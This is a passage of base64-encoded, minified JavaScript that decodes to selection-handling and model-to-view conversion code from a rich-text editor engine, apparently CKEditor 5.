mlidXRlKHQpKXtjb25zdCBlPVt0XTt0aGlzLmZpcmUoImNoYW5nZTphdHRyaWJ1dGUiLHthdHRyaWJ1dGVLZXlzOmUsZGlyZWN0Q2hhbmdlOnRydWV9KX19b3ZlcnJpZGVHcmF2aXR5KCl7Y29uc3QgdD1ucygpO3RoaXMuX292ZXJyaWRkZW5HcmF2aXR5UmVnaXN0ZXIuYWRkKHQpO2lmKHRoaXMuX292ZXJyaWRkZW5HcmF2aXR5UmVnaXN0ZXIuc2l6ZT09PTEpe3RoaXMuX3VwZGF0ZUF0dHJpYnV0ZXModHJ1ZSl9cmV0dXJuIHR9cmVzdG9yZUdyYXZpdHkodCl7aWYoIXRoaXMuX292ZXJyaWRkZW5HcmF2aXR5UmVnaXN0ZXIuaGFzKHQpKXt0aHJvdyBuZXcgc3NbImEiXSgiZG9jdW1lbnQtc2VsZWN0aW9uLWdyYXZpdHktd3JvbmctcmVzdG9yZSIsdGhpcyx7dWlkOnR9KX10aGlzLl9vdmVycmlkZGVuR3Jhdml0eVJlZ2lzdGVyLmRlbGV0ZSh0KTtpZighdGhpcy5pc0dyYXZpdHlPdmVycmlkZGVuKXt0aGlzLl91cGRhdGVBdHRyaWJ1dGVzKHRydWUpfX1vYnNlcnZlTWFya2Vycyh0KXt0aGlzLl9vYnNlcnZlZE1hcmtlcnMuYWRkKHQpO3RoaXMuX3VwZGF0ZU1hcmtlcnMoKX1fcG9wUmFuZ2UoKXt0aGlzLl9yYW5nZXMucG9wKCkuZGV0YWNoKCl9X3B1c2hSYW5nZSh0KXtjb25zdCBlPXRoaXMuX3ByZXBhcmVSYW5nZSh0KTtpZihlKXt0aGlzLl9yYW5nZXMucHVzaChlKX19X3ByZXBhcmVSYW5nZSh0KXt0aGlzLl9jaGVja1JhbmdlKHQpO2lmKHQucm9vdD09dGhpcy5fZG9jdW1lbnQuZ3JhdmV5YXJkKXtyZXR1cm59Y29uc3QgZT1rZi5mcm9tUmFuZ2UodCk7ZS5vbigiY2hhbmdlOnJhbmdlIiwoKHQsbixpKT0+e3RoaXMuX2hhc0NoYW5nZWRSYW5nZT10cnVlO2lmKGUucm9vdD09dGhpcy5fZG9jdW1lbnQuZ3JhdmV5YXJkKXt0aGlzLl9zZWxlY3Rpb25SZXN0b3JlUG9zaXRpb249aS5kZWxldGlvblBvc2l0aW9uO2NvbnN0IHQ9dGhpcy5fcmFuZ2VzLmluZGV4T2YoZSk7dGhpcy5fcmFuZ2VzLnNwbGljZSh0LDEpO2UuZGV0YWNoKCl9fSkpO3JldHVybiBlfV91cGRhdGVNYXJrZXJzKCl7aWYoIXRoaXMuX29ic2VydmVkTWFya2Vycy5zaXplKXtyZXR1cm59Y29uc3QgdD1bXTtsZXQgZT1mYWxzZTtmb3IoY29uc3QgZSBvZiB0aGlzLl9tb2RlbC5tYXJrZXJzKXtjb25zdCBuPWUubmFtZS5zcGxpdCgiOiIsMSlbMF07aWYoIXRoaXMuX29ic2VydmVkTWFya2Vycy5oYXMobikpe2NvbnRpbnVlfWNvbnN0IGk9ZS5nZXRSYW5nZSgpO2Zvcihjb25zdCBuIG9mIHRoaXMuZ2V0UmFuZ2VzKCkpe2lmKGkuY29udGFpbnNSYW5nZShuLCFuLmlzQ29sbGFwc2VkKSl7dC5wdXNoKGUpfX19Y29uc3Qgbj1BcnJheS5mcm9tKHRoaXMubWFya2Vycyk7Zm9yKGNvbnN0IG4gb2YgdCl7aWYoIXRoaXMubWFya2Vycy5oYXMobikpe3RoaXMubWFya2Vycy5hZGQobik7ZT10cnVlfX1mb3IoY29uc3QgbiBvZiBBcnJheS5mcm9tKHRoaXMubWFya2Vycykpe2lmKCF0LmluY2x1ZGVzKG4pKXt0aGlzLm1hcmtlcnMucmVtb3ZlKG4pO2U9dHJ1ZX19aWYoZSl7dGhpcy5maXJlKCJjaGFuZ2U6bWFya2VyIix7b2xkTWFya2VyczpuLGRpcmVjdENoYW5nZTpmYWxzZX0pfX1fdXBkYXRlTWFya2VyKHQsZSl7Y29uc3Qgbj10Lm5hbWUuc3BsaXQoIjoiLDEpWzBdO2lmKCF0aGlzLl9vYnNlcnZlZE1hcmtlcnMuaGFzKG4pKXtyZXR1cm59bGV0IGk9ZmFsc2U7Y29uc3Qgbz1BcnJheS5mcm9tKHRoaXMubWFya2Vycyk7Y29uc3Qgcj10aGlzLm1hcmtlcnMuaGFzKHQpO2lmKCFlKXtpZihyKXt0aGlzLm1hcmtlcnMucmVtb3ZlKHQpO2k9dHJ1ZX19ZWxzZXtsZXQgbj1mYWxzZTtmb3IoY29uc3QgdCBvZiB0aGlzLmdldFJhbmdlcygpKXtpZihlLmNvbnRhaW5zUmFuZ2UodCwhdC5pc0NvbGxhcHNlZCkpe249dHJ1ZTticmVha319aWYobiYmIXIpe3RoaXMubWFya2Vycy5hZGQodCk7aT10cnVlfWVsc2UgaWYoIW4mJnIpe3RoaXMubWFya2Vycy5yZW1vdmUodCk7aT10cnVlfX1pZihpKXt0aGlzLmZpcmUoImNoYW5nZTptYXJrZXIiLHtvbGRNYXJrZXJzOm8sZGlyZWN0Q2hhbmdlOmZhbHNlfSl9fV91cGRhdGVBdHRyaWJ1dGVzKHQpe2NvbnN0IGU9R3ModGhpcy5fZ2V0U3Vycm91bmRpbmdBdHRyaWJ1dGVzKCkpO2NvbnN0IG49R3ModGhpcy5nZXRBdHRyaWJ1dGVzKCkpO2lmKHQpe3RoaXMuX2F0dHJpYnV0ZVByaW9yaXR5PW5ldyBNYXA7dGhpcy5fYXR0cnM9bmV3IE1hcH1lbHNle2Zvcihjb25zdFt0LGVdb2YgdGhpcy5fYXR0cmlidXRlUHJpb3JpdHkpe2lmKGU9PSJsb3ciKXt0aGlzLl9hdHRycy5kZWxldGUodCk7dGhpcy5fYXR0cmlidXRlUHJpb3JpdHkuZGVsZXRlKHQpfX19dGhpcy5fc2V0QXR0cmlidXRlc1RvKGUpO2NvbnN0IGk9W107Zm9yKGNvbnN0W3QsZV1vZiB0aGlzLmdldEF0dHJpYnV0ZXMoKSl7aWYoIW4uaGFzKHQpfHxuLmdldCh0KSE9PWUpe2kucHVzaCh0KX19Zm9yKGNvbnN0W3Rdb2Ygbil7aWYoIXRoaXMuaGFzQXR0cmlidXRlKHQpKXtpLnB1c2godCl9fWlmKGkubGVuZ3RoPjApe3RoaXMuZmlyZSgiY2hhbmdlOmF0dHJpYnV0ZSIse2F0dHJpYnV0ZUtleXM6aSxkaXJlY3RDaGFuZ2U6ZmFsc2V9KX19X3NldEF0dHJpYnV0ZSh0LGUsbj10cnVlKXtjb25zdCBpPW4/Im5vcm1hbCI6ImxvdyI7aWYoaT09ImxvdyImJnRoaXMuX2F0dHJpYnV0ZVByaW9yaXR5LmdldCh0KT09Im5vcm1hbCIpe3JldHVybiBmYWxzZX1jb25zdCBvPXN1cGVyLmdldEF0dHJpYnV0ZSh0KTtpZihvPT09ZSl7cmV0dXJuIGZhbHNlfXRoaXMuX2F0dHJzLnNldCh0LGUpO3RoaXMuX2F0dHJpYnV0ZVByaW9yaXR5LnNldCh0LGkpO3JldHVybiB0cnVlfV9yZW1vdmVBdHRyaWJ1dGUodCxlPXRydWUpe2NvbnN0IG49ZT8ibm9ybWFsIjoibG93IjtpZihuPT0ibG93IiYmdGhpcy5fYXR0cmlidXRlUHJpb3JpdHkuZ2V0KHQpPT0ibm9ybWFsIil7cmV0dXJuIGZhbHNlfXRoaXMuX2F0dHJpYnV0ZVByaW9yaXR5LnNldCh0LG4pO2lmKCFzdXBlci5oYXNBdHRyaWJ1dGUodCkpe3JldHVybiBmYWxzZX10aGlzLl9hdHRycy5kZWxldGUodCk7cmV0dXJuIHRydWV9X3NldEF0dHJpYnV0ZXNUbyh0KXtjb25zdCBlPW5ldyBTZXQ7Zm9yKGNvbnN0W2Usbl1vZiB0aGlzLmdldEF0dHJpYnV0ZXMoKSl7aWYodC5nZXQoZSk9PT1uKXtjb250aW51ZX10aGlzLl9yZW1vdmVBdHRyaWJ1dGUoZSxmYWxzZSl9Zm9yKGNvbnN0W24saV1vZiB0KXtjb25zdCB0PXRoaXMuX3NldEF0dHJpYnV0ZShuLGksZmFsc2UpO2lmKHQpe2UuYWRkKG4pfX1yZXR1cm4gZX0qX2dldFN0b3JlZEF0dHJpYnV0ZXMoKXtjb25zdCB0PXRoaXMuZ2V0Rmlyc3RQb3NpdGlvbigpLnBhcmVudDtpZih0aGlzLmlzQ29sbGFwc2VkJiZ0LmlzRW1wdHkpe2Zvcihjb25zdCBlIG9mIHQuZ2V0QXR0cmlidXRlS2V5cygpKXtpZihlLnN0YXJ0c1dpdGgoQWYpKXtjb25zdCBuPWUuc3Vic3RyKEFmLmxlbmd0aCk7eWllbGRbbix0LmdldEF0dHJpYnV0ZShlKV19fX19X2dldFN1cnJvdW5kaW5nQXR0cmlidXRlcygpe2NvbnN0IHQ9dGhpcy5nZXRGaXJzdFBvc2l0aW9uKCk7Y29uc3QgZT10aGlzLl9tb2RlbC5zY2hlbWE7bGV0IG49bnVsbDtpZighdGhpcy5pc0NvbGxhcHNlZCl7Y29uc3QgdD10aGlzLmdldEZpcnN0UmFuZ2UoKTtmb3IoY29uc3QgaSBvZiB0KXtpZihpLml0ZW0uaXMoImVsZW1lbnQiKSYmZS5pc09iamVjdChpLml0ZW0pKXticmVha31pZihpLnR5cGU9PSJ0ZXh0Iil7bj1pLml0ZW0uZ2V0QXR0cmlidXRlcygpO2JyZWFrfX19ZWxzZXtjb25zdCBpPXQudGV4dE5vZGU/dC50ZXh0Tm9kZTp0Lm5vZGVCZWZvcmU7Y29uc3Qgbz10LnRleHROb2RlP3QudGV4dE5vZGU6dC5ub2RlQWZ0ZXI7aWYoIXRoaXMuaXNHcmF2aXR5T3ZlcnJpZGRlbil7bj15ZihpKX1pZighbil7bj15ZihvKX1pZighdGhpcy5pc0dyYXZpdHlPdmVycmlkZGVuJiYhbil7bGV0IHQ9aTt3aGlsZSh0JiYhZS5pc0lubGluZSh0KSYmIW4pe3Q9dC5wcmV2aW91c1NpYmxpbmc7bj15Zih0KX19aWYoIW4pe2xldCB0PW87d2hpbGUodCYmIWUuaXNJbmxpbmUodCkmJiFuKXt0PXQubmV4dFNpYmxpbmc7bj15Zih0KX19aWYoIW4pe249dGhpcy5fZ2V0U3RvcmVkQXR0cmlidXRlcygpfX1yZXR1cm4gbn1fZml4R3JhdmV5YXJkU2VsZWN0aW9uKHQpe2NvbnN0IGU9dGhpcy5fbW9kZWwuc2NoZW1hLmdldE5lYXJlc3RTZWxlY3Rpb25SYW5nZSh0KTtpZihlKXt0aGlzLl9wdXNoUmFuZ2UoZSl9fX1mdW5jdGlvbiB5Zih0KXtpZih0IGluc3RhbmNlb2YgV2h8fHQgaW5zdGFuY2VvZiBHaCl7cmV0dXJuIHQuZ2V0QXR0cmlidXRlcygpfXJldHVybiBudWxsfWZ1bmN0aW9uIHhmKHQsZSl7Y29uc3Qgbj10LmRvY3VtZW50LmRpZmZlcjtmb3IoY29uc3QgaSBvZiBuLmdldENoYW5nZXMoKSl7aWYoaS50eXBlIT0iaW5zZXJ0Iil7Y29udGludWV9Y29uc3Qgbj1pLnBvc2l0aW9uLnBhcmVudDtjb25zdCBvPWkubGVuZ3RoPT09bi5tYXhPZmZzZXQ7aWYobyl7dC5lbnF1ZXVlQ2hhbmdlKGUsKHQ9Pntjb25zdCBlPUFycmF5LmZyb20obi5nZXRBdHRyaWJ1dGVLZXlzKCkpLmZpbHRlcigodD0+dC5zdGFydHNXaXRoKEFmKSkpO2Zvcihjb25zdCBpIG9mIGUpe3QucmVtb3ZlQXR0cmlidXRlKGksbil9fSkpfX19Y2xhc3MgRGZ7Y29uc3RydWN0b3IodCl7dGhpcy5fZGlzcGF0Y2hlcnM9dH1hZGQodCl7Zm9yKGNvbnN0IGUgb2YgdGhpcy5fZGlzcGF0Y2hlcnMpe3QoZSl9cmV0dXJuIHRoaXN9fXZhciBFZj0xLE1mPTQ7ZnVuY3Rpb24gU2YodCl7cmV0dXJuIFVyKHQsRWZ8TWYpfXZhciBUZj1TZjtjbGFzcyBJZiBleHRlbmRzIERme2VsZW1lbnRUb0VsZW1lbnQodCl7cmV0dXJuIHRoaXMuYWRkKEpmKHQpKX1hdHRyaWJ1dGVUb0VsZW1lbnQodCl7cmV0dXJuIHRoaXMuYWRkKFpmKHQpKX1hdHRyaWJ1dGVUb0F0dHJpYnV0ZSh0KXtyZXR1cm4gdGhpcy5hZGQoWGYodCkpfW1hcmtlclRvRWxlbWVudCh0KXtyZXR1cm4gdGhpcy5hZGQodG0odCkpfW1hcmtlclRvSGlnaGxpZ2h0KHQpe3JldHVybiB0aGlzLmFkZChubSh0KSl9bWFya2VyVG9EYXRhKHQpe3JldHVybiB0aGlzLmFkZChlbSh0KSl9fWZ1bmN0aW9uIE5mKCl7cmV0dXJuKHQsZSxuKT0+e2lmKCFuLmNvbnN1bWFibGUuY29uc3VtZShlLml0ZW0sImluc2VydCIpKXtyZXR1cm59Y29uc3QgaT1uLndyaXRlcjtjb25zdCBvPW4ubWFwcGVyLnRvVmlld1Bvc2l0aW9uKGUucmFuZ2Uuc3RhcnQpO2NvbnN0IHI9aS5jcmVhdGVUZXh0KGUuaXRlbS5kYXRhKTtpLmluc2VydChvLHIpfX1mdW5jdGlvbiBCZigpe3JldHVybih0LGUsbik9Pntjb25zdCBpPW4ubWFwcGVyLnRvVmlld1Bvc2l0aW9uKGUucG9zaXRpb24pO2NvbnN0IG89ZS5wb3NpdGlvbi5nZXRTaGlmdGVkQnkoZS5sZW5ndGgpO2NvbnN0IHI9bi5tYXBwZXIudG9WaWV3UG9zaXRpb24obyx7aXNQaGFudG9tOnRydWV9KTtjb25zdCBzPW4ud3JpdGVyLmNyZWF0ZVJhbmdlKGkscik7Y29uc3QgYT1uLndyaXRlci5yZW1vdmUocy5nZXRUcmltbWVkKCkpO2Zvcihjb25zdCB0IG9mIG4ud3JpdGVyLmNyZWF0ZVJhbmdlSW4oYSkuZ2V0SXRlbXMoKSl7bi5tYXBwZXIudW5iaW5kVmlld0VsZW1lbnQodCl9fX1mdW5jdGlvbiBQZih0LGUpe2NvbnN0IG49dC5jcmVhdGVBdHRyaWJ1dGVFbGVtZW50KCJzcGFuIixlLmF0dHJpYnV0ZXMpO2lmKGUuY2xhc3Nlcyl7bi5fYWRkQ2xhc3MoZS5jbGFzc2VzKX1pZihlLnByaW9yaXR5KXtuLl9wcmlvcml0eT1lLnByaW9yaXR5fW4uX2lkPWUuaWQ7cmV0dXJuIG59ZnVuY3Rpb24gemYoKXtyZXR1cm4odCxlLG4pPT57Y29uc3QgaT1lLnNlbGVjdGlvbjtpZihpLmlzQ29sbGFwc2VkKXtyZXR1cm59aWYoIW4uY29uc3VtYWJsZS5jb25zdW1lKGksInNlbGVjdGlvbiIpKXtyZXR1cm59Y29uc3Qgbz1bXTtmb3IoY29uc3QgdCBvZiBpLmdldFJhbmdlcygpKXtjb25zdCBlPW4ubWFwcGVyLnRvVmlld1JhbmdlKHQpO28ucHVzaChlKX1uLndyaXRlci5zZXRTZWxlY3Rpb24obyx7YmFja3dhcmQ6aS5pc0JhY2t3YXJkfSl9fWZ1bmN0aW9uIExmKCl7cmV0dXJuKHQsZSxuKT0+e2NvbnN0IGk9ZS5zZWxlY3Rpb247aWYoIWkuaXNDb2xsYXBzZWQpe3JldHVybn1pZighbi5jb25zdW1hYmxlLmNvbnN1bWUoaSwic2VsZWN0aW9uIikpe3JldHVybn1jb25zdCBvPW4ud3JpdGVyO2NvbnN0IHI9aS5nZXRGaXJzdFBvc2l0aW9uKCk7Y29uc3Qgcz1uLm1hcHBlci50b1ZpZXdQb3NpdGlvbihyKTtjb25zdCBhPW8uYnJlYWtBdHRyaWJ1dGVzKHMpO28uc2V0U2VsZWN0aW9uKGEpfX1mdW5jdGlvbiBPZigpe3JldHVybih0LGUsbik9Pntjb25zdCBpPW4ud3JpdGVyO2NvbnN0IG89aS5kb2N1bWVudC5zZWxlY3Rpb247Zm9yKGNvbnN0IHQgb2Ygby5nZXRSYW5nZXMoKSl7aWYodC5pc0NvbGxhcHNlZCl7aWYodC5lbmQucGFyZW50LmlzQXR0YWNoZWQoKSl7bi53cml0ZXIubWVyZ2VBdHRyaWJ1dGVzKHQuc3RhcnQpfX19aS5zZXRTZWxlY3Rpb24obnVsbCl9fWZ1bmN0aW9uIFJmKHQpe3JldHVybihlLG4saSk9Pntjb25zdCBvPXQobi5hdHRyaWJ1dGVPbGRWYWx1ZSxpKTtjb25zdCByPXQobi5hdHRyaWJ1dGVOZXdWYWx1ZSxpKTtpZighbyYmIXIpe3JldHVybn1pZighaS5jb25zdW1hYmxlLmNvbnN1bWUobi5pdGVtLGUubmFtZSkpe3JldHVybn1jb25zdCBzPWkud3JpdGVyO2NvbnN0IGE9cy5kb2N1bWVudC5zZWxlY3Rpb247aWYobi5pdGVtIGluc3RhbmNlb2YgdWZ8fG4uaXRlbSBpbnN0YW5jZW9mIF9mKXtzLndyYXAoYS5nZXRGaXJzdFJhbmdlKCkscil9ZWxzZXtsZXQgdD1pLm1hcHBlci50b1ZpZXdSYW5nZShuLnJhbmdlKTtpZihuLmF0dHJpYnV0ZU9sZFZhbHVlIT09bnVsbCYmbyl7dD1zLnVud3JhcCh0LG8pfWlmKG4uYXR0cmlidXRlTmV3VmFsdWUhPT1udWxsJiZyKXtzLndyYXAodCxyKX19fX1mdW5jdGlvbiBqZih0KXtyZXR1cm4oZSxuLGkpPT57Y29uc3Qgbz10KG4uaXRlbSxpKTtpZighbyl7cmV0dXJufWlmKCFpLmNvbnN1bWFibGUuY29uc3VtZShuLml0ZW0sImluc2VydCIpKXtyZXR1cm59Y29uc3Qgcj1pLm1hcHBlci50b1ZpZXdQb3NpdGlvbihuLnJhbmdlLnN0YXJ0KTtpLm1hcHBlci5iaW5kRWxlbWVudHMobi5pdGVtLG8pO2kud3JpdGVyLmluc2VydChyLG8pfX1mdW5jdGlvbiBGZih0KXtyZXR1cm4oZSxuLGkpPT57bi5pc09wZW5pbmc9dHJ1ZTtjb25zdCBvPXQobixpKTtuLmlzT3BlbmluZz1mYWxzZTtjb25zdCByPXQobixpKTtpZighb3x8IXIpe3JldHVybn1jb25zdCBzPW4ubWFya2VyUmFuZ2U7aWYocy5pc0NvbGxhcHNlZCYmIWkuY29uc3VtYWJsZS5jb25zdW1lKHMsZS5uYW1lKSl7cmV0dXJufWZvcihjb25zdCB0IG9mIHMpe2lmKCFpLmNvbnN1bWFibGUuY29uc3VtZSh0Lml0ZW0sZS5uYW1lKSl7cmV0dXJufX1jb25zdCBhPWkubWFwcGVyO2NvbnN0IGM9aS53cml0ZXI7Yy5pbnNlcnQoYS50b1ZpZXdQb3NpdGlvbihzLnN0YXJ0KSxvKTtpLm1hcHBlci5iaW5kRWxlbWVudFRvTWFya2VyKG8sbi5tYXJrZXJOYW1lKTtpZighcy5pc0NvbGxhcHNlZCl7Yy5pbnNlcnQoYS50b1ZpZXdQb3NpdGlvbihzLmVuZCkscik7aS5tYXBwZXIuYmluZEVsZW1lbnRUb01hcmtlcihyLG4ubWFya2VyTmFtZSl9ZS5zdG9wKCl9fWZ1bmN0aW9uIFZmKCl7cmV0dXJuKHQsZSxuKT0+e2NvbnN0IGk9bi5tYXBwZXIubWFya2VyTmFtZVRvRWxlbWVudHMoZS5tYXJrZXJOYW1lKTtpZighaSl7cmV0dXJufWZvcihjb25zdCB0IG9mIGkpe24ubWFwcGVyLnVuYmluZEVsZW1lbnRGcm9tTWFya2VyTmFtZSh0LGUubWFya2VyTmFtZSk7bi53cml0ZXIuY2xlYXIobi53cml0ZXIuY3JlYXRlUmFuZ2VPbih0KSx0KX1uLndyaXRlci5jbGVhckNsb25lZEVsZW1lbnRzR3JvdXAoZS5tYXJrZXJOYW1lKTt0LnN0b3AoKX19ZnVuY3Rpb24gVWYodCl7cmV0dXJuKGUsbixpKT0+e2NvbnN0IG89dChuLm1hcmtlck5hbWUsaSk7aWYoIW8pe3JldHVybn1jb25zdCByPW4ubWFya2VyUmFuZ2U7aWYoIWkuY29uc3VtYWJsZS5jb25zdW1lKHIsZS5uYW1lKSl7cmV0dXJufUhmKHIsZmFsc2UsaSxuLG8pO0hmKHIsdHJ1ZSxpLG4sbyk7ZS5zdG9wKCl9fWZ1bmN0aW9uIEhmKHQsZSxuLGksbyl7Y29uc3Qgcj1lP3Quc3RhcnQ6dC5lbmQ7Y29uc3Qgcz1uLnNjaGVtYS5jaGVja0NoaWxkKHIsIiR0ZXh0Iik7aWYocyl7Y29uc3QgdD1uLm1hcHBlci50b1ZpZXdQb3NpdGlvbihyKTtXZih0LGUsbixpLG8pfWVsc2V7bGV0IHQ7bGV0IHM7aWYoZSYmci5ub2RlQWZ0ZXJ8fCFlJiYhci5ub2RlQmVmb3JlKXt0PXIubm9kZUFmdGVyO3M9dHJ1ZX1lbHNle3Q9ci5ub2RlQmVmb3JlO3M9ZmFsc2V9Y29uc3QgYT1uLm1hcHBlci50b1ZpZXdFbGVtZW50KHQpO0dmKGEsZSxzLG4saSxvKX19ZnVuY3Rpb24gR2YodCxlLG4saSxvLHIpe2NvbnN0IHM9YGRhdGEtJHtyLmdyb3VwfS0ke2U/InN0YXJ0IjoiZW5kIn0tJHtuPyJiZWZvcmUiOiJhZnRlciJ9YDtjb25zdCBhPXQuaGFzQXR0cmlidXRlKHMpP3QuZ2V0QXR0cmlidXRlKHMpLnNwbGl0KCIsIik6W107YS51bnNoaWZ0KHIubmFtZSk7aS53cml0ZXIuc2V0QXR0cmlidXRlKHMsYS5qb2luKCIsIiksdCk7aS5tYXBwZXIuYmluZEVsZW1lbnRUb01hcmtlcih0LG8ubWFya2VyTmFtZSl9ZnVuY3Rpb24gV2YodCxlLG4saSxvKXtjb25zdCByPWAke28uZ3JvdXB9LSR7ZT8ic3RhcnQiOiJlbmQifWA7Y29uc3Qgcz1vLm5hbWU/e25hbWU6by5uYW1lfTpudWxsO2NvbnN0IGE9bi53cml0ZXIuY3JlYXRlVUlFbGVtZW50KHIscyk7bi53cml0ZXIuaW5zZXJ0KHQsYSk7bi5tYXBwZXIuYmluZEVsZW1lbnRUb01hcmtlcihhLGkubWFya2VyTmFtZSl9ZnVuY3Rpb24gS2YodCl7cmV0dXJuKGUsbixpKT0+e2NvbnN0IG89dChuLm1hcmtlck5hbWUsaSk7aWYoIW8pe3JldHVybn1jb25zdCByPWkubWFwcGVyLm1hcmtlck5hbWVUb0VsZW1lbnRzKG4ubWFya2VyTmFtZSk7aWYoIXIpe3JldHVybn1mb3IoY29uc3QgdCBvZiByKXtpLm1hcHBlci51bmJpbmRFbGVtZW50RnJvbU1hcmtlck5hbWUodCxuLm1hcmtlck5hbWUpO2lmKHQuaXMoImNvbnRhaW5lckVsZW1lbnQiKSl7cyhgZGF0YS0ke28uZ3JvdXB9LXN0YXJ0LWJlZm9yZWAsdCk7cyhgZGF0YS0ke28uZ3JvdXB9LXN0YXJ0LWFmdGVyYCx0KTtzKGBkYXRhLSR7by5ncm91cH0tZW5kLWJlZm9yZWAsdCk7cyhgZGF0YS0ke28uZ3JvdXB9LWVuZC1hZnRlcmAsdCl9ZWxzZXtpLndyaXRlci5jbGVhcihpLndyaXRlci5jcmVhdGVSYW5nZU9uKHQpLHQpfX1pLndyaXRlci5jbGVhckNsb25lZEVsZW1lbnRzR3JvdXAobi5tYXJrZXJOYW1lKTtlLnN0b3AoKTtmdW5jdGlvbiBzKHQsZSl7aWYoZS5oYXNBdHRyaWJ1dGUodCkpe2NvbnN0IG49bmV3IFNldChlLmdldEF0dHJpYnV0ZSh0KS5zcGxpdCgiLCIpKTtuLmRlbGV0ZShvLm5hbWUpO2lmKG4uc2l6ZT09MCl7aS53cml0ZXIucmVtb3ZlQXR0cmlidXRlKHQsZSl9ZWxzZXtpLndyaXRlci5zZXRBdHRyaWJ1dGUodCxBcnJheS5mcm9tKG4pLmpvaW4oIiwiKSxlKX19fX19ZnVuY3Rpb24gcWYodCl7cmV0dXJuKGUsbixpKT0+e2NvbnN0IG89dChuLmF0dHJpYnV0ZU9sZFZhbHVlLGkpO2NvbnN0IHI9dChuLmF0dHJpYnV0ZU5ld1ZhbHVlLGkpO2lmKCFvJiYhcil7cmV0dXJufWlmKCFpLmNvbnN1bWFibGUuY29uc3VtZShuLml0ZW0sZS5uYW1lKSl7cmV0dXJufWNvbnN0IHM9aS5tYXBwZXIudG9WaWV3RWxlbWVudChuLml0ZW0pO2NvbnN0IGE9aS53cml0ZXI7aWYoIXMpe3Rocm93IG5ldyBzc1siYSJdKCJjb252ZXJzaW9uLWF0dHJpYnV0ZS10by1hdHRyaWJ1dGUtb24tdGV4dCIsW24saV0pfWlmKG4uYXR0cmlidXRlT2xkVmFsdWUhPT1udWxsJiZvKXtpZihvLmtleT09ImNsYXNzIil7Y29uc3QgdD14cyhvLnZhbHVlKTtmb3IoY29uc3QgZSBvZiB0KXthLnJlbW92ZUNsYXNzKGUscyl9fWVsc2UgaWYoby5rZXk9PSJzdHlsZSIpe2NvbnN0IHQ9T2JqZWN0LmtleXMoby52YWx1ZSk7Zm9yKGNvbnN0IGUgb2YgdCl7YS5yZW1vdmVTdHlsZShlLHMpfX1lbHNle2EucmVtb3ZlQXR0cmlidXRlKG8ua2V5LHMpfX1pZihuLmF0dHJpYnV0ZU5ld1ZhbHVlIT09bnVsbCYmcil7aWYoci5rZXk9PSJjbGFzcyIpe2NvbnN0IHQ9eHMoci52YWx1ZSk7Zm9yKGNvbnN0IGUgb2YgdCl7YS5hZGRDbGFzcyhlLHMpfX1lbHNlIGlmKHIua2V5PT0ic3R5bGUiKXtjb25zdCB0PU9iamVjdC5rZXlzKHIudmFsdWUpO2Zvcihjb25zdCBlIG9mIHQpe2Euc2V0U3R5bGUoZSxyLnZhbHVlW2VdLHMpfX1lbHNle2Euc2V0QXR0cmlidXRlKHIua2V5LHIudmFsdWUscyl9fX19ZnVuY3Rpb24gWWYodCl7cmV0dXJuKGUsbixpKT0+e2lmKCFuLml0ZW0pe3JldHVybn1pZighKG4uaXRlbSBpbnN0YW5jZW9mIHVmfHxuLml0ZW0gaW5zdGFuY2VvZiBfZikmJiFuLml0ZW0uaXMoIiR0ZXh0UHJveHkiKSl7cmV0dXJufWNvbnN0IG89YW0odCxuLGkpO2lmKCFvKXtyZXR1cm59aWYoIWkuY29uc3VtYWJsZS5jb25zdW1lKG4uaXRlbSxlLm5hbWUpKXtyZXR1cm59Y29uc3Qgcj1pLndyaXRlcjtjb25zdCBzPVBmKHIsbyk7Y29uc3QgYT1yLmRvY3VtZW50LnNlbGVjdGlvbjtpZihuLml0ZW0gaW5zdGFuY2VvZiB1Znx8bi5pdGVtIGluc3RhbmNlb2YgX2Ype3Iud3JhcChhLmdldEZpcnN0UmFuZ2UoKSxzLGEpfWVsc2V7Y29uc3QgdD1pLm1hcHBlci50b1ZpZXdSYW5nZShuLnJhbmdlKTtjb25zdCBlPXIud3JhcCh0LHMpO2Zvcihjb25zdCB0IG9mIGUuZ2V0SXRlbXMoKSl7aWYodC5pcygiYXR0cmlidXRlRWxlbWVudCIpJiZ0LmlzU2ltaWxhcihzKSl7aS5tYXBwZXIuYmluZEVsZW1lbnRUb01hcmtlcih0LG4ubWFya2VyTmFtZSk7YnJlYWt9fX19fWZ1bmN0aW9uIFFmKHQpe3JldHVybihlLG4saSk9PntpZighbi5pdGVtKXtyZXR1cm59aWYoIShuLml0ZW0gaW5zdGFuY2VvZiBxaCkpe3JldHVybn1jb25zdCBvPWFtKHQsbixpKTtpZighbyl7cmV0dXJufWlmKCFpLmNvbnN1bWFibGUudGVzdChuLml0ZW0sZS5uYW1lKSl7cmV0dXJufWNvbnN0IHI9aS5tYXBwZXIudG9WaWV3RWxlbWVudChuLml0ZW0pO2lmKHImJnIuZ2V0Q3VzdG9tUHJvcGVydHkoImFkZEhpZ2hsaWdodCIpKXtpLmNvbnN1bWFibGUuY29uc3VtZShuLml0ZW0sZS5uYW1lKTtmb3IoY29uc3QgdCBvZiBlZi5fY3JlYXRlSW4obi5pdGVtKSl7aS5jb25zdW1hYmxlLmNvbnN1bWUodC5pdGVtLGUubmFtZSl9ci5nZXRDdXN0b21Qcm9wZXJ0eSgiYWRkSGlnaGxpZ2h0IikocixvLGkud3JpdGVyKTtpLm1hcHBlci5iaW5kRWxlbWVudFRvTWFya2VyKHIsbi5tYXJrZXJOYW1lKX19fWZ1bmN0aW9uICRmKHQpe3JldHVybihlLG4saSk9PntpZihuLm1hcmtlclJhbmdlLmlzQ29sbGFwc2VkKXtyZXR1cm59Y29uc3Qgbz1hbSh0LG4saSk7aWYoIW8pe3JldHVybn1jb25zdCByPVBmKGkud3JpdGVyLG8pO2NvbnN0IHM9aS5tYXBwZXIubWFya2VyTmFtZVRvRWxlbWVudHMobi5tYXJrZXJOYW1lKTtpZighcyl7cmV0dXJufWZvcihjb25zdCB0IG9mIHMpe2kubWFwcGVyLnVuYmluZEVsZW1lbnRGcm9tTWFya2VyTmFtZSh0LG4ubWFya2VyTmFtZSk7aWYodC5pcygiYXR0cmlidXRlRWxlbWVudCIpKXtpLndyaXRlci51bndyYXAoaS53cml0ZXIuY3JlYXRlUmFuZ2VPbih0KSxyKX1lbHNle3QuZ2V0Q3VzdG9tUHJvcGVydHkoInJlbW92ZUhpZ2hsaWdodCIpKHQsby5pZCxpLndyaXRlcil9fWkud3JpdGVyLmNsZWFyQ2xvbmVkRWxlbWVudHNHcm91cChuLm1hcmtlck5hbWUpO2Uuc3RvcCgpfX1mdW5jdGlvbiBKZih0KXt0PVRmKHQpO3Qudmlldz1pbSh0LnZpZXcsImNvbnRhaW5lciIpO3JldHVybiBlPT57ZS5vbigiaW5zZXJ0OiIr